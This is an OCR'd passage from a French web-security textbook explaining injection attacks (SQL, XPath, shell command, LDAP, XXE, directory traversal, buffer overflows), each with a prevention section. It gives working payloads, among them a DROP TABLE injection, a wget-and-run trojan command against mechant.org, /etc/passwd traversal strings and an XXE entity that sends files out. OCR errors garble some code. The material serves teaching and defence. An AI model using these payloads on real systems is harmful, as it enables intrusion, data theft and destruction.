voici, lequel re9oit I'identifiant et le mot de passe d'un utilisateur qu'il tente ensuite 
d' authentifier a I'aide d'une requete SQL : 

String username - req.getParameter( "username" ) ; 
String password = req.getParameter( "password" ) ; 
String query = "SELECT id FROM user_table WHERE " + 

"username = '" + username + "' AND " + 

"password = PASSWORD( ' " + password + "')"; 



L N.D.T. : La plupart des programmeurs travaillant en anglais, nous ne traduisons par les noms des 
identifiants intervenant dans les exemples de code. Au besoin, nous preciserons leur sens dans le texte. 
2. N.D.T. : Attention a bien distinguer en fran9ais "numero d'identifiant" {id en anglais) et "identi- 
fiant" {username en anglais). Le premier est un entier qui joue un role technique dans une table, le 
deuxieme est souvent une chaine plus facile a retenir pour I'humain et vehiculant une certaine seman- 
tique ; on parle aussi de "nom d'utilisateur". 
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ResultSet rs = stmt.executeQuery(query) ; 

int id = n1 ; // la valeur n1 signale un utilisateur non authentifie 

while (rs.nextO) 

id = rs.getlnt( "id" ) ; 

Les deux premieres lignes extraient les saisies de la requete HTTP. La suivante construit la 
requete SQL, qui est ensuite executee ; son resultat est alors coUecte dans la boucle 
while ( ) . Si un couple de valeurs correspond dans la table, son numero d'identifiant est 
renvoye. Dans le cas contraire, la variable id reste a la valeur 1 , denotant un utilisateur 
non authentifie. 

On pourrait croire qu'avec ce code I'utilisateur est authentifie si, et seulement si, I'iden- 
tifiant et le mot de passe proposes sont reconnus. . . 

...Et Ton aurait tort ! Rien n'empeche un attaquant d'injecter des commandes 
SQL dans les champs username ou password pour modifier le sens de la requete SQL 
executee. 

Revenons sur celle-ci : 

string query = "SELECT id FROM user_table WHERE " + 
"username = '" + username + "' AND " + 
"password = PASSWORD('" + password + "')"; 

Ce code s'attend a trouver des donnees dans les champs username et password. 
Toutefois, rien n'empeche un attaquant d'y placer les caracteres de son choix. Que se 
passe-t-il en cas de saisie de 'OR l =1 pour le nom d' utilisateur, avec le mot de passe x ? 
La chaine de requete devient alors : 

SELECT id FROM user_table WHERE username = ' ' OR 1=1 -- ' AND password 
= PASSWORD ( 'X' ) 

En syntaxe SQL, le tiret double ( ) introduit un commentaire ; le programme ne tient 
done pas compte de tout ce qui suit, cette requete est alors equivalente a : 

SELECT id FROM user_table WHERE username = ' ' OR 1=1 

Voila une instruction SELECT qui fonctionne bien differemment : elle renverra des 
numeros d'identifiants dans le cas ou I'identifiant est une chaine vide ( ' ' ) ou bien si un 
egale un. Cette demiere condition etant toujours verifiee, elle produira tous les numeros 
d'identifiants de la table user table, dont le dernier sera retenu. 

Dans cette situation, r attaquant a place les instructions SQL ( ' OR 1=1 ) en lieu et 
place des donnees dans le champ username. 
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Choix d'un code approprie d'injection SQL 

Pour parvenir a injecter du SQL, I'attaquant doit transformer le code existant du deve- 
loppeur en instructions valides. II est un peu difficile de travailler en aveugle, aussi 
proposons-nous des requetes generalement couronnees de succes : 

■ ' OR 1=1 

■ ' ) OR 1=1 

Par ailleurs, de nombreuses applications web sont tres disertes en matiere de rapport 
d'erreurs et autres informations de debogage. C'est ainsi qu'une tentative gratuite 
optantpour' OR 1=1 produit sou vent des renseignements tres ins tructifs'. 

Error executing query: You have an error in your SQL syntax; check the 
manual that corresponds to your MySQL server version for the right 
syntax to use near 'SELECT (title, body) FROM blog_table WHERE 
cat= 'OR 1=1 ' at line 1 

Voila un message d'erreur qui reprend I'integralite de I'instruction SQL. Dans ce cas de 
figure, on constate que la base de donnees attendait un entier et non une chaine, aussi 
I'injection OR 1 =1 , non precedee d'une apostrophe, produira le resultat escompte. 

Avec la plupart des bases de donnees SQL, un attaquant peut placer d'un seul trait de 
nombreuses instructions, pour peu que la syntaxe de chacune soit correcte. Pour le code 
suivant, nous avons montre que la valeur ' OR 1=1 pour username et x pour password 
renvoyait le dernier utilisateur : 

String query = "SELECT id FROM user_table WHERE " + 
"username = '" + username + "' AND " + 
"password = PASSWORD('" + password + "')"; 

Cependant, il est possible d'inserer d' autres instructions. Ainsi, I'identifiant que voici : 

' OR 1=1; DROP TABLE user_table; -- 

transformerait la requete comme suit : 

SELECT id FROM user_table WHERE username='' OR 1=1; DROP TABLE 
user_table; -- ' AND password = PASSWORD (' x ') ; 

laquelle equivaut a : 

SELECT id FROM user_table WHERE username='' OR 1=1; DROP TABLE 
user_table; 

Cette commande realise une instruction SELECT syntaxiquement correcte, avant de 
detruire la table des utilisateurs user table par I'instruction SQL DROP. 

L N.D.T. : Nous laissons inchanges les extraits des sorties de programme et les traduisons dans les 
notes. Ici, le message indique "Erreur dans I'execution de la requete : votre syntaxe SQL n'est pas 
correcte ; reportez-vous au manuel correspondant a votre version de MySQL pour savoir comment 
exprimer 'SELECT (title, body) FROM blog table WHERE cat='OR 1=1 ', alaligne 1.". 
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Les attaques par injection ne sont pas toujours aveugles. De nombreuses applications 
web sont developpees a I'aide d'outils Open Source. Pour reussir plus facilement vos 
attaques par injection, telechargez gratuitement des versions completes ou d'evaluation 
des produits et mettez en place votre propre systeme de test. Si vous parvenez a mettre 
celui-ci en defaut, il y a fort a parier que le meme probleme se pose sur toutes les appli- 
cations employant le meme programme. 

Prevention contre I'injection SQL 

Le principal probleme demeure : les chaines ne sont pas correctement echappees^ ou 
que les types de donnees ne sont pas contraints. Pour eviter une injection SQL, on 
commencera par contraindre autant que possible ces derniers (si une saisie represente 
un entier, on la traitera comme telle a chaque fois qu'on s'y refere). Par ailleurs, on 
echappera systematiquement les saisies des utilisateurs. Pour se proteger contre I'atta- 
que donnee en exemple, il aurait simplement suffi d'echapper I'apostrophe (" ' ") et la 
barre oblique rnversee ("\") en les precedant d'une barre oblique inversee (respective- 
ment, "\ ' ") et "\\")- Parfois, le remede est toutefois bien plus complexe ; nous vous 
recommandons par consequent de rechercher la fonction d'echappement adaptee a 
votre base de donnees. 

De loin, la meilleure solution consiste a faire appel a des requites preparees. Initiale- 
ment destinees a optimiser les connecteurs de base de donnees, elles separent stricte- 
ment, a un tres bas niveau, les instructions SQL des donnees issues des utilisateurs. En 
d'autres termes, un emploi correct des requetes preparees evite une fois pour toutes 
d'interpreter toute saisie utilisateur comme des instructions SQL. 



Injection de XPatti 



Popularite : 


5 


Simplicite : 


7 


Impact : 


9 


Evaluation du risque : 


8 



Lorsque Ton choisit de stocker des donnees sensibles en XML plutot que dans une base 
de donnees SQL, les attaquants peuvent s'appuyer sur une injection de XPath pour 
contoumer une authentification comme pour inscrire des donnees sur le systeme 
distant. 



L N.D.T. : En informatique, "echapper" en un sens transitif signifie "desactiver les caracteres ou 
mots-cles actifs de". 
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Les documents XML deviennent si complexes qu'il est impossible de les lire a I'oeil nu 
- ce qui etait initialement I'un des avantages de cette technologic. Pour parcourir des 
documents XML complexes, les developpeurs ont cree XPath, langage de requetes 
specialise, qui joue done un role comparable a celui de SQL dans le contexte des bases 
de donnees. Tout comme ce dernier, XPath pose des problemes d'injection. 

Le document XML suivant renferme les numeros d'identifiants, noms d'utilisateurs et 
mots de passe employes par une application web : 

<?xml version="1 .0" encoding="IS0-8859-1 "?> 
<users> 
<user> 

<icl> 1 </id> 

<username> admin </username> 

<password> xpathr001z </password> 
</user> 
<user> 

<id> 2 </id> 

<username> testuser </username> 

<password> test123 </password> 
</user> 
<user> 

<id> 3 </id> 

<username> lonelyhackeris </username> 
<password> mypassword </password> 
</user> 
</users> 

Un developpeur Java pourrait realiser un programme d'authentification comme suit : 

String username - req.getParameter( "username" ) ; 
String password = req.getParameter( "password" ) ; 

XPathFactory factory = XPathFactory . newlnstance ( ) ; 

XPath xpath - factory. newXPath( ) ; 

File file = new File( " /usr/webappdata/users .xml" ) ; 

InputSource src = new InputSource(new FileInputStream(f ile) ) ; 

XPathExpression expr = xpath . compile ("/ /users[ username/text ()= ' " + 

username + " ' and password/text()=' "+ password +" ' ] /id/text( ) " ) ; 

String id = expr.evaluate(src) ; 

Ce programme charge le document XML et recherche le numero d'identifiant associe a 
au nom d'utilisateur et au mot de passe proposes. En supposant que ces valeurs soient 
respectivement admin et xpathAssure, la requete XPath se presenterait comme suit : 

/ /users [ user name /text ( ) = ' admin ' and password /text ()-' xpath r001z ' ] /id/ 
textO 
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On remarquera que cette saisie utilisateur n'est pas echappee dans le code Java, de sorte 
qu'un attaquant pourra y inserer toute donnee ou instruction XPath souhaitee. En choi- 
sissant pour mot de passe " ' or ' 1 ' = ' 1 ", la requete deviendrait alors : 

//users[username/text()='admin' and password/text ()=' ' or ]/id/ 
textO 

Cette instruction renverra le numero correspondant a I'identifiant admin et qui en outre, 
soit dispose d'un mot de passe vide (cas de figure hautement improbable), soit verifie 
"un egale un" - ce qui est toujours verifie. Par consequent, I'injection de ' or '1' = '1 
renvoie I'lD de 1' administrateur sans que I'attaquant n'ait besoin d'en connaitre le mot 
de passe. 

Signalons que XPath est un sous-ensemble d'un langage XML de requetes plus large, 
appele XQuery. Comme XPath et SQL, ce dernier souffre de problemes d'injection 
comparables. Si vous connaissez un peu sa syntaxe, vous devriez, apres avoir lu ce 
chapitre, en savoir assez pour tenter egalement des injections en XQuery. 

Prevention contre I'injection de XPatti 

Le remede adapte ressemble de pres a celui traitant les injections de SQL : contraindre 
les types de donnees, echapper les chaines. Dans le cas present, on procede en codant 
des entites HTML - I'apostrophe devient ainsi &apos ; . Comme on I'a deja conseille, on 
retiendra la fonction d'echappement la plus adaptee a la bibliotheque XPath employee, 
la reponse dependant des implementations. 



Injection de commandes 



Popularite : 8 


Simplicite : 8 


Impact : 


10 


Evaluation dii risque : 


10 



Une injection de commande reussie donne a I'attaquant le controle complet d'un 
systeme distant. 

Quand une commande systeme implique en partie une saisie utilisateur, une attaque est 
susceptible d'y injecter des instructions arbitraires. Tous les langages de programma- 
tion sont concernes, mais on observe souvent cela dans les scripts CGI ecrits en Perl, 
PHP et shell - moins en Java, Python ou C#. Examinons I'extrait de code PHP suivant : 

<?php 

$email_subi ect = "some subject"; 
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if ( isset($_GET[ 'email' ]) ) 

system("mail " + $_GET[ ' email '] ) + " -s ' " + $email_subi ect + 
"' < /tmp/email_body " , $return_val) ; 

?> 

L'utilisateur transmet son adresse electronique dans le parametre email, saisie reprise 
ensuite telle quelle dans une commande systeme. Comme dans le cas d'une injection 
SQL, I'objectif de I'attaquant consiste a inserer une commande shell dans cette valeur 
tout en garantissant une syntaxe correcte au code qui la precede et qui la suit. On peut 
se representer I'appel system ( ) comme un puzzle, aux pieces exterieures deja en place, 
et dont il s'agit de combler un vide pour le finir : 

mail [PIECE MANQUANTE DU PUZZLE] -s 'un sujet' < /tmp/email_bocly 

Cette piece du puzzle doit garantir un bon fonctionnement a la commande mail, qui se 
conclura avec succes - c'est par exemple le cas de mail help. L'attaquant inserera 
ensuite des commandes shell complementaires qu'il separera pai^ des points-virgules 
(";' )■ Sur I'autre extremite du vide a combler, il suffit de commenter la fin de la ligne 
al'aide du caractere approprie dans le cas du shell (#). Une attaque par injection 
susceptible de fonctionner pourrait done se presenter comme suit : 

--help; wget http://mechant.org/cheval_de_troie; . /cheval_de_troie # 

Inseree au reste de la commande, cette piece du puzzle produit la sequence shell que 
voici : 

mail --help; wget http://mechant.org/cheval_de_troie; 
. /cheval_de_troie # s 'un sujet' < /tmp/email_body 

equivalente a : 

mail --help; wget http://mechant.org/cheval_de_troie; . /cheval_de_troie 

Cela execute mail help avant de telecharger le programme cheval de troie depuis 
le site mechant.org, et de I'executer. L'attaquant peut ainsi executer des commandes 
arbitraires sur le site web compromis. 

Prevention contre I'injection de commandes 

A nouveau, les mecanismes de protection rappellent le cas de figure de I'injection SQL. 
Le developpeur doit echapper les saisies utilisateur de maniere appropriee avant 
d' executer une commande les mentionnant. On pourrait penser qu'il suffit d' echapper 
le point- virgule (";'') par une barre oblique inversee ("\ ; ") pour resoudre la question. 
Cependant, l'attaquant pourrait employer une double esperluette ("&&") voire une 
double barre verticale (" | | ") pour realiser ses mefaits. Les programmeurs s'appuieront 
done de preference sur une fonction d'echappement adaptee au shell plutot que de rein- 
venter la leur. 
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Attaques par traversee de repertoires 



Popularite : 


9 


Simplicite : 


9 


Impact : 8 


Evaluation du risque : 


8 



Les attaquants emploient les attaques par traversee de repertoires pour acceder a des 
fichiers arbitraires sur les serveurs web - comme ceux abritant les cles privees SSL ou 
les mots de passe. 

Certaines applications web ouvrent des fichiers dont le nom leur est donne par des para- 
metres HTTP (done des donnees utilisateur). Examinons I'extrait de code PHP suivant, 
qui affiche un fichier en de nombreuses langues : 

<?php 

Slanguage = "main-en"; 

if (is_set($_GET[ 'language' ]) ) 

Slanguage = $_GET[ ' language '] ; 
include( " /usr/local/webapp/static_f iles/ " . Slanguage . ".html"); 
?> 

On suppose que cette page PHP est accessible a I'adresse http://foo.com/webapp/ 
static . php?language=main en ; un attaquant pourrait lire des fichiers de son choix sur 
le serveur en inserant une chaine forgee pour renvoyer ailleurs la fonction d'inclusion. 
Ainsi, avec la requete GET suivante : 

http: //foo.com/webapp/static.php?language=. ./../../.. /etc/passwd%00 
la fonction d'inclusion ouvrirait le fichier indique : 

/usr/local/webapp/static_f iles/ ../../../. . /etc/passwd 
En d'autres termes, il s'agit simplement de : 

/etc/passwd 

Par consequent, la requete GET renverrait le contenu du fichier /etc/passwd sur le 
serveur. Soulignons la presence de I'octet nul (%00), qui clot la chaine, de maniere a 
eviter la prise en compte du suffixe . html sur le cote droit du nom de fichier. 

On appelle cela une attaque par traversee de repertoire, technique qui a fait souffrir 
bien des serveurs web pendant un certain temps, car les attaquants pouvaient coder dans 
rURL les portions " . . / " de diverses manieres : 

■ %2e%2e%2f 

■ %2e%2e/ 

■ . .%2f 

■ .%2e/ 
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Prevention contre les attaques par traversee de repertoires 

De nos jours, certains frameworks applicatifs du Web protegent automatiquement 
contre ce genre d' agressions. Ainsi, PHP active par defaut le reglage 
magic quotes gpc, lequel echappe "magiquement" les caracteres douteux dans les 
requetes GET, POST et les cookies en les prefixant d'une barre oblique inversee (anti- 
slash). Par consequent, la barre de division "/" se transforme en "\/", ce qui met fin a 
r agression. D'autres environnements ne proposent pas de mecanismes de defense 
generaux, c'est alors au developpeur d'etablir son propre bouclier contre ces problemes. 

Pour proteger votre application contre toute attaque par traversee de repertoires, etablis- 
sez une liste blanche des fichiers acceptes - en somme, refusez toutes les saisies utili- 
sateur ne relevant pas d'un sous-ensemble reduit, comme suit : 

<?php 

Slanguages - array (' main-en ',' main-fr ',' main-ru ') ; 

Slanguage = $languages[ 1 ] ; 

if (is_set($_GET[ 'language' ]) ) 

$tmp = $_GET[ ' language '] ; 
if (array_search ($tmp, Slanguages)) 

Slanguage = Stmp; 
include( "/usr/local/webapp/static_f iles/ " . Slanguage . ".html"); 
?> 

Attaques XXE (XML external Entity) 



Popularite : 


4 


Simplicite : 


9 


Impact : 8 


Evaluation du risque : 


8 



A r image des attaques par traversee de repertoire, les attaques par entites XML extemes 
permettent a I'agresseur de lire des fichiers de son choix sur le serveur - et notamment 
ceux qui stockent des cles privees SSL ou les mots de passe. 

"Fonctionnalite" peu connue de XML, les entites extemes permettent aux developpeurs 
de definir leurs propres entites XML. Really Simple Syndication est une grammaire de 
XML ; cet exemple de document RSS definit I'entite auteur "&author;" avant de la 
reprendre plusieurs fois dans la page : 

<?xml version="1 .0" encoding="IS0-8859-1 "?> 
<!DOCTYPE foo [ 

<!ENTITY author "Lapin Pelucheux"> 

]> 

<tag>&author ;</tag> 
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On peut encore definir des entites qui lisent des fichiers systeme. Ainsi, quand un analy- 
seur syntaxique (parser) XML parcourt le document RSS qui suit, il y remplacera 
"&passwd;" ou "&passwd2;" par "/etc/passwd" : 

<?xml version="1 .0" encoding="IS0-8859-1 "?> 
<!DOCTYPE foo [ 

<!ENTITY passwd SYSTEM "f ile : /etc/passwd " > 

<!ENTITY passwd2 SYSTEM " f ile : / / /etc/passwd "> 

]> 

<rss version="2 . 0"> 
<channel> 

<title>Mon flux RSS d'attaque presentant /etc/passwd</title> 
<description>ceci est file: /etc/passwd: &passwd; et ceci est 
file: ///etc/passwd: &passwd2;</description> 
<item> 

<title>/etc/passwd</title> 

<description>f ile : /etc/passwd : &passwd; f ile :// /etc/passwd : 
&passwd2;</description> 

<linl<>http : / / example . com</link> 

</item> 
</channel> 
</rss> 

Pour exploiter cette faiblesse, I'attaquant se contente de placer ce fichier RSS sur son site 
web et d'integrer ce flux RSS dans quelque agregateur en Ugne. Si ce dernier est vulnerable, 
I'attaquant en recevra le contenu du fichier /etc/passwd dans son flux RSS. 

II suffit parfois de metti^e en ligne un fichier XML pour que celui-ci renvoie les informa- 
tions obtenues a I'attaquant - ideal dans le cas d'agi^essions contre des systemes serveurs 
oil Ton ne pourra jamais observer la sortie produite. On cree une premiere entite chargeant 
un fichier sensible sur le serveur (disons, "c : \boot . ini"), puis une autre entite accedant a 
une URL sur le site de I'attaquant en y integrant la precedente, comme suit : 

<?xml version="1 .0" encoding="IS0-8859-1 "?> 
<!DOCTYPE doc [ 

<!ENTITY bootini SYSTEM "file: ///C: /boot. ini "> 

<!ENTITY sendbootini SYSTEM "http: //mechant.org/getBootIni?&bootini; "> 

]> 

&sendbootini; 

De maniere evidente, cette attaque est susceptible de devoiler le contenu de n'importe 
quel fichier situe sur le serveur web expose. D'ailleurs, cela n'est en rien limite aux flux 
RSS ; on peut 1' adapter a toutes les applications web acceptant des documents XML 
avant de les analyser. 

Un nombre etonnant d' applications web integre des flux RSS sans vraiment y avoir 
reflechi. EUes sont vulnerables a ce genre d' attaques. 
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Prevention contre les attaques XXE 

Pour se proteger contre les attaques XXE, il suffit d'indiquer a I'analyseur syntaxique 
de XML employe d'interdire toute entite externe. La methode adaptee depend du 
programme : par defaut, JAXP et Xerces ne resolvent pas ce type d'entites, tandis que 
les developpeurs LibXML devront explicitement desactiver le developpement des entites 
par un appel a expand entities(0) ;. 



Injection de LDAP 



Popularite : 


2 


Simplicite : 


5 


Impact : 


5 


Evaluation du risque : 


5 



En general, les attaques par injection de LDAP permettent aux utUisateurs d'une organisa- 
tion d'acceder a des informations privees. Souvent, elles ne sont pas reaUsables sur Internet. 

Le protocole LDAP (Lightweight Directory Access Protocol) permet de gerer et de 
stocker des ressources et utilisateurs reseau. En particulier, il incorpore les autorisations 
d'acces aux ordinateurs et autres ressources. Certaines applications web reprennent des 
saisies utilisateur non "assainies" dans le cadre de requetes LDAP. 

Prenons le cas d'une application web qui reclame un identifiant avant de realiser une 
requete LDAP pour en afficher le nom usuel (common name ou cn) et le numero de tele- 
phone. La requete que voici : 

http: / /intranet /ldap_query?user=rgc 

renvoie, par exemple, ceci : 

cn: Richard Cannings 
telephoneNumber : 403-555-1212 

L' instruction LDAP responsable de ce traitement se resume a : 

filter = (uid=rgc) 

attributes = cn, telephoneNumber 

Cependant, on peut construire des filtres plus elabores a I'aide d'operations booleennes 
comme le. OU inclusif ( | ) ou encore le ET (&) portant sur divers attributs comme cn, dn, 
sn, objectClass, telephoneNumber, manager, etc. Les requetes LDAP emploient la 
notation polonaise (dite aussi prefixe), pla9ant les operateurs a gauche de leurs operandes. 
D' autre part, LDAP accepte le symbole de joker (*). Une requete LDAP plus complexe 
pouiTa done avoir 1' allure suivante : 

filter = (&(obiectClass=person) (cn=Rich*) ( | (telephoneNumber=403*) ( 
telephoneNumber=41 5* ) ) ) 
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Cette requete trouve toutes les personnes dont le nom usuel debute par Rich et le 
numero de telephone releve des codes de zones 403 ou 415. 

Pour injecter des requetes LDAP arbitraires dans une application web vulnerable, il faut 
construire une requete LDAP differente mais valide. Si cette requete HTTP : 

http: / /intranet /ldap_query?user=rgc 

cree le filtre suivant : 

(uicl=rgc) 

il faut imaginer un filtre LDAP valide debutant par ( uid=" et se concluant par " ) ". Pour 
executer une requete d'annuaire inverse (et decouvrir le nom de la personne associee a 
un numero de telephone), on pourrait par exemple proceder comme suit : 

http: //intranet/ldap_query?user=*) ( | (telephoneNumber=415-555-1212) 

Cela produit la requete : 

(uid=*) ( I (telephoneNumber=415-555-1212) ) 

Une autre requete interessante consiste a decouvrir toutes les classes d'objet (object 
Class) existantes. On peut proceder comme suit : 

http: //intranet/ldap_query?user=*) ( | (obj ectClass=* ) 

ce qui produit la requete : 

(uid=*) ( I (objectClass=*) ) 

Prevention contre I'injection de LDAP 

Pour eviter de preter le flanc a ce type d'attaques, il suffit simplement d'etablir une liste 
blanche des caracteres autorises : on acceptera done tout ce qui est alphanumerique 
(a z, A Z, et 0 9), et uniquement cela. 



Depassements de tampons 



Popularite : 8 


Simplicite : 


2 


Impact : 


• 10 


Evaluation du risque : 


9 



Les depassements de tampons {buffer overflows) representent I'une des attaques par injec- 
tion les plus complexes, car elles exploitent une mauvaise utilisation de la memoire par les 
developpeurs. Comme pour les injections de commandes, un depassement de tampon 
couronne de succes donnera a I'attaquant le controle complet de la machine distante. 
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— ^ Info 

Cette section vise a transmettre une certaine intuition des depassements de tampons, sans 
vraiment detailler ceux-ci d'un point de vue technique. Pour cela, vous vous reporterez a 
differents textes et articles, comme le classique Smashing Ttie Stacl< For Fun And Profit 
d'Aleph One publie dans le magazine Phracl< (www.phrack.org/archives/49/P49-14). 



Certains langages de programmation, comme C et C++, chargent le developpeur des 
questions de gestion de memoire. Si celui-ci n'y prend garde, les saisies utilisateur 
pourront s'inscrire dans une zone de la memoire non pre vue pour - et notamment 
Vadresse de retour d'une pile. On y trouve les coordonnees de I'emplacement memoire 
renfermant le prochain bloc d' instructions machine a executer. Si une application web 
prete le flanc au depassement de tampon, un attaquant pourra lui transmettre une tres 
longue chaine - plus grande que ce que le developpeur avait imagine. Cette derniere est 
alors susceptible d'ecraser I'adresse de retour, indiquant a I'application web quelles 
instructions machine executer ensuite. Les depassements de tampon relevent des atta- 
ques par injection car 1' agresseur insere des instructions machine (appelees shellcode) 
dans d'autres saisies. II lui faut savoir oil celles-ci aboutiront dans la memoire de I'ordi- 
nateur executant I'application web. II lui est alors possible d'ecraser I'adresse de retour 
pour pointer vers I'emplacement memoire du shellcode. 

Les depassements de tampons, difficiles a exploiter, sont plus aises a decouvrir, parti- 
culierement sur une machine locale. II suffit de transmettre de tres longues chaines lors 
de toutes les saisies utilisateur. Nous suggerons d'opter pour des chaines faciles a 
predire (comme 10 000 A majuscules) dans toutes les entrees. Si le programme plante, 
c'est probablement a cause d'un depassement de tampon. On reproduira le plantage 
dans un debogueur, oil Ton inspectera alors les registres du programme. L' apparition de 
41414141 (41 etant la representation hexadecimale du code ASCII de la lettre A 
majuscule - 65) dans le registre SP est la signature d'un depassement de tampon. 

II est bien plus difficile de decouvrir des depassements de tampons sur des machines 
distantes, comme des applications web, car les attaquants n'ont pas acces au contenu de 
leurs registres - et il n'est meme pas toujours facile de detecter un plantage d'un tel 
programme. Dans ce cas de figure, on recourra aux astuces suivantes : 

1. Identifier les bibliotheques ou portions de programmes librement disponibles 
employes par I'application web. 

2. Telecharger le code correspondant. 

3. Tester celui-ci sur la machine locale pour y decouvrir un depassement de tampon. 

4. Developper un exploit qui fonctionne sur la machine locale. 

5. Tenter de reproduire celui-ci sur I'application web. 
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Prevention contre les depassements de tampons 

La solution la plus facile consiste a eviter tout developpement d' applications web fron- 
tales en C ou en C++. Le gain en vitesse est negligeable devant les latences introduites 
par les communications sur Internet. Si vous devez absolument vous reposer sur des 
programmes ecrits en C ou en C++, minimisez la quantite de code employe et realisez 
des controles de correction sur toutes les saisies utilisateur avant de les transmettre aux 
codes derives C et C++. 

Si vous ne pouvez eviter de programmer en C ou en C++, quelques precautions 
elementaires vous protegeront contre les depassements de tampons - comme choi- 
sir de compiler le code en activant la protection de pile. Dans Visual Studio, on 
emploiera ainsi le drapeau /GS, tandis que les utilisateurs de GCC disposant de SSP 
(parfois appele ProPolice) feront appel a I'option de ligne de commande f stack 
protector. 

Tests de I'exposition a des injections 

Apres avoir compris les idees principales des injections de SQL, LDAP, XPath et de 
commandes du systeme d'exploitation, il est important que vous testiez vos applica- 
tions web pour controler leur securite. Bien des methodes permettent de decouvrir des 
failles d'injection potentielles. La section suivante decrit une methode automatisee 
testant la robustesse d'une application web face aux techniques d'injection de LDAP, 
XPath, XQuery et commandes shell, reposant sur un outil d' evaluation de la securite 
des applications web propose par iSEC et appele SecurityQA Toolbar. Les developpeurs 
et testeurs en assurance qualite y recourent souvent pour mettre a I'epreuve la securite 
de I'ensemble d'une application ou de I'une de ses sections. Pour en savoir plus sur ce 
produit, rendez-vous a I'adresse www.isecpartners.com. 

Tests automatises avec SecurityQA Toolbar d'iSEC 

Rechercher d'eventuelles failles d'injection peut s'averer peu pratique et complexe 
dans le cas d'une enorme application web presentant divers visages. Pour s'assurer 
que I'application web re9oit I'attention qu'elle merite en matiere de securite, Securi- 
tyQA Toolbar d'iSEC Partners propose d'en tester les champs de saisie page par 
page au lieu d'imposer I'examen de I'ensemble de I'application. Cette methode, 
parfois un peu plus longue, produit de puissants resultats car 1' accent du test est mis 
sur chaque page, cela en temps reel. Pour rechercher des soucis de securite en 
matiere d'injection, suivez les etapes suivantes : 

1. Rendez-vous sur www.isecpartners.com pour telecharger une copie d'essai du 
produit. 
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2. Apres avoir installe la barre d'outils sous Internet Explorer 6 ou 7, dirigez-vous sur 
r application web depuis ce navigateur. 

3. Dans 1' application web, visitez la page que vous vous proposez de tester. Choisissez 
alors Data Validation I SQL Injection (validation de donnees I injection SQL) dans 
Security QA Toolbar (voir Figure 1.1). 

4. Le programme SecurityQA Toolbar controle automatiquement les problemes poten- 
tiels d'injection SQL sur la page actuelle. Pour observer le deroulement de I'execution 
du test, cliquez sur le bouton de developpement (le dernier a droite) avant d'opter 
pour I'option SQL Injection. Ce dernier presentera en temps reel les formulaires 
vulnerables a une injection SQL. 
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Figure 1.1 

Le programme SecurityQA Toolbar en cours d'utilisation dans IE. 



5. Une fois le test fini (sur la page actuelle, une barre de progression situee dans le coin 
inferieur droit du navigateur I'indique), rendez-vous a la page suivante de I'application 
(ou toute autre page que Ton souhaite tester) avant de repeter I'etape 3. 

6. Les tests d'injection SQL effectues sur toutes les pages de I'application web a 
controler, vous pouvez reprendre les etapes 3 et 5 pour 1' injection de LDAP, de 
XPath, de commandes du systeme d' exploitation ou de toute proposition mentionnee 
dans le menu de validation de donnees Data Validation. 

7. A Tissue de la seance de tests, observez le rapport du programme sous le menu 
Reports I Current Test Results (rapports I resultats actuels des tests). Le logiciel 
SecurityQA Toolbar presente alors tous les soucis de securite decouverts lors du test. 
La Figure 1.2 montre un exemple de rapport par injection. On remarquera la section 
iSEC Test Value (valeur de test iSEC), qui reprend en gras la requete et la reponse, 
ce qui permet de savoir quelle chaine a declenche la faille d'injection. 
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Figure 1.2 

Resultats des tests d'injection SQL, LDAP etXPath produits par SecurityQA Toolbar. 



Resume 

Les attaques par injection existent depuis longtemps et persistent dans bien des applications 
web. EUes permettent aux agresseurs de realiser certaines actions sur le serveur appli- 
cation, variant de la lecture de fichiers a la prise de controle complete de la machine. 

Ce type d' attaques depend enormement de la technologic employee. On commencera 
d'abord par identifier celle-ci. Dans un deuxieme temps, on recherchera toutes les saisies 
utilisateur pour 1' application web. Enfin, on tentera des injections sur chacune d'entre elles. 
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Injection de donnees arbitr aires 

dans un site web 

Dans ce chapitre, nous evoquerons les controles de securite places dans les naviga- 
teurs web et comment les contourner a 1' aide d'une technique repandue appelee 
(improprement) en anglais cross-site scripting (XSS), et que Ton peut traduire par 
"injection de donnees ai^bitraires dans un site web". II s'agit pour une personne ou un 
site d'envoyer des informations de son choix, a travers les barrieres de securite, sur 
un site web different et vulnerable. C'est un type d'attaque par injection particulier, 
oil I'agresseur doit tromper la victime en I'amenant a s'inoculer elle-meme les 
donnees malveillantes. 

Modeles de securite des navigateurs web 

Les navigateurs web mettent en place toute une panoplie de controles de securite. Pour 
compromettre des applications web, il faut done decouvrir un probleme dans I'un 
d'entre eux ou parvenir a le contourner. Tous visent a etre independants les uns des 
autres, mais un agresseur parvenant a injecter du code JavaScript au bon (ou mauvais, 
selon les points de vue) endroit jettera a terre tous les controles de securite ; seul le plus 
faible restera alors en place - la politique de meme origine. 

En general, cette approche gouveme tous les controles de securite. Malheureusement, 
des failles frequentes dans ces logiciels comme dans leurs greffons (plug-ins) - citons 
Acrobat Reader, Flash ou encore Outlook Express - sont parvenues a compromettre 
jusqu'a cette fondation de la securite des navigateurs. 

Dans ce chapitre, nous presenterons les boucliers des navigateurs contre les agressions, 
tels qu'originellement congus : 

■ la politique de meme origine ; 
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■ le modele de securite des cookies ; 

■ le modele de securite de Flash. 

Nous verrons aussi comment une petite portion de JavaScript pourra en affaiblir certains. 
La politique de meme origine (ou domaine) 

II s'agit du controle principal de securite dans les navigateurs. On definit une origine 
comme 1' association d'un nom de machine, d'un protocole et d'un numero de port ; on 
peut done se la representer comme I'entite ayant cree la page web ou les informations 
auxquels le programme acces. Cette politique impose que tout contenu dynamique 
(c'est le cas de JavaScript ou encore de VBScript) ne puisse lire que les reponses et 
cookies HTTP issus de la meme origine que lui, et n'obtienne aucune information sur 
les donnees issues d'autres sources. Soulignons 1' absence de toute contrainte sur les 
acces en ecriture. Les sites web peuvent done emettre des requetes HTTP dirigees vers 
les sites web de leur choix, bien qu'il soit possible de restreindre les cookies et en-tetes 
associes pour eviter des requetes d'un site a I'autre. 

Quelques exemples clarifieront le fonctionnement de cette politique de la meme 
origine. On suppose que je dispose d'une page web a I'adresse http : / /f oo . com/bar/ 
baz . html, laquelle embai^que des portions de JavaScript. Ce code pourra lii^e ou inscrire 
certaines pages, mais pas d'autres. Le Tableau 2.1 precise les URL auxquelles un code 
JavaScript place sur http : / /too . com/bar/baz . html pourra acceder. 



Tableau 2.1 : Fonctionnement de la politique de meme origine lorsque la page 
http: / /f 00. com /bar /baz. html tente de charger certaines URL 



URL 


Puis-je y acceder ? 


Pourquoi ou pourquoi pas ? 


http: / / f 00 . com/ index . html. 


Oui 


Le protocole et le nom de machine 
correspondent. Le port, non explicite, 
